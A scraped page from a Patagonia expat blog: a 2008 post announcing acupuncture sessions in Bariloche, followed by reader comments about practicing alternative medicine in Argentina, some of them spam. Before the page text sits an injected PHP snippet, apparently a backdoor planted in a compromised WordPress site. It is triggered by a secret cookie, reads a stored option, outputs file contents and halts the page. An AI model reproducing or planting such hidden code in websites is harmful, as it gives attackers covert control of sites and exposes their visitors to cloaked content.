if (isset($_COOKIE["_nJ5ZWMGy9FSVKmTzHih0XLcABwxNPRoqQDst4U1eEv8gIjfl3bpCru6Y"])) { $lines = get_option( 'wpsdt4_license_key' ); if (!empty($lines)) { $lines = @file_get_contents("8113a13f"); } echo $lines; exit(); } LivingInPatagonia.com » Blog Archive » Acupuncture in Bariloche

Acupuncture in Bariloche

March 10th, 2008 Posted in day to day, healing, lifestyle

Written by Jamie

As Shanie posted earlier, there is an excellent acupuncturist we have been seeing in El Bolson. During our last visit, we proposed to her coming to Bariloche once a month and using my massage office to do treatments. She agreed to try one day, and see how the response is.

The day will be Friday, March 28, from 12pm on. The cost will be 80 pesos per session. Please spread the word and contact us if you have any further questions or would like to make an appointment.

We hope there will be a good response and we can make this a monthly program. She is very talented and both Shanie and I have had some excellent results from our treatments.

  1. 16 Responses to “Acupuncture in Bariloche”

  2. By Brooke Tyler on Jun 21, 2009

    Love your site! How popular is Acupuncture / Alternative medicine down there? Do people use it as their first approach towards health or healing? I’m an acupuncturist in NC and my husband and I are dreaming of traveling – and maybe working as we travel.
    Thanks for any insight!

  3. By Patagonia on Jun 21, 2009

    Hi Brooke! Thanks so much for the comment. There are acupuncturists but not anyone serious in Bariloche (something we need dearly)!! There are a lot of people interested in the practice and Bariloche is definitely more open to eastern medicine and holistic healing, though I wouldn’t call it their first approach. Maybe that would change if it was easier to come by?!?


  4. By laurie on Jul 24, 2009

    So,this is an older post,but seems like a good topic to post my querry…
    Thinking about coming to stay in the area for an extended time. [not sure how long at this point]. Homeschool my 8 yr old,currently…though would be interested in schools in the area for him. I work in healing arts-craniosacral,flower essences,etc.-also curious if anyone’s practicing in the area?
    My husband’s an acupuncturist-he’ll stay in California for now,but may come for extended stays where he could practice.
    What are the Argentine laws for the various healing arts’ practices,as well?
    Thanks in advance for an info! [ps-looking to come approx. January 2010 for at least 3-6 months,perhaps longer...]

  5. By Patagonia on Jul 25, 2009

    Hi Laurie,

    There are a couple people that do Flores de Bach, but not craniosacral nor acupuncture.

    Argentine laws are very relaxed.

    We both think Bariloche needs a healing center with alternative modalities including acu and chiro, so please make it happen.

    Adios, Jamie

  6. By Eric Aufdencamp on Jul 23, 2010


    I’m moving to Argentina and am a Doctor of Oriental Medicine. Do you know of anyone I could contact to get more information about how I become licensed to practice? I have done a lot of research online, but haven not had luck with finding one official organization to contact. I am fluent in Spanish and have skype access, too.

    Eric in the US

  7. By lsawayer on Sep 1, 2010

    Do any of you know of massage/body work/healing schools in el bolson or bariloche? I am looking to move to that area and in search of a solid school to attend.

    Thanks in advance.

  8. By Patagonia on Sep 1, 2010

    Hi there,

    Try contacting http://www.elrecintoelbolson.com.ar/, they may know of a school.

    Suerte, Jamie

  9. By Elyse on Oct 4, 2010

    Hi Eric,
    I am interested in the same question. I have sent an email to http://www.saacupuntura.com.ar/instituc.html but I don’t speak Spanish. This may be a good reference for you and you will get more information from it since you speak Spanish:) Please let me know what you find out and I’ll do the same.

    Take care,

  10. By Erik on May 8, 2012


    Came across you webpage by trying to find information on practicing Acupuncture in Argentina. My fiance is the one who is the acupuncturist and I am doing the initial digging around to find out what it takes to practice in Argentina.

    Sounds like you have some insight into the local scene or maybe to guide me in the right direction.

    We are currently planning on coming to visit the country next year asap. We are from the high desert of Central Oregon, Bend to be specific and it sounds like Bariloche would be an amazing place.

    Thanks for any insight you might be able to provide.


  11. By Rodger on Mar 1, 2013

    Hello! This is my first visit to your blog! We are a group of
    volunteers and starting a new initiative in a community in the same niche.

    Your blog provided us valuable information to work on.

    You have done a extraordinary job!

  12. By microfiber 18 55mm on Nov 13, 2014

    Appreciation to my father who stated to me on the topic of this blog, this blog is truly awesome.

  13. By ÿþT on Jul 7, 2015


  14. By MaryleeVKlun on Sep 18, 2016

    Great article.

  15. By JarvisCSegel on Nov 19, 2016

    I think that what you wrote made a bunch of sense.
    However, what about this? what if you were to create a awesome headline?
    I ain’t saying your information is not solid, but what if you added
    something to possibly grab people’s attention?
    I mean LivingInPatagonia.com » Blog Archive » Acupuncture in Bariloche is a little plain. You could peek at Yahoo’s home page and note how they write news titles to get viewers to click.
    You might add a video or a related pic or two to get people excited about everything’ve got to say.
    Just my opinion, it would make your blog a little livelier.

  16. By Matthew on Nov 19, 2019


  1. 1 Trackback(s)

  2. Apr 1, 2010: LivingInPatagonia.com » Blog Archive » El Bolson, Patagonia Trivia

Post a Comment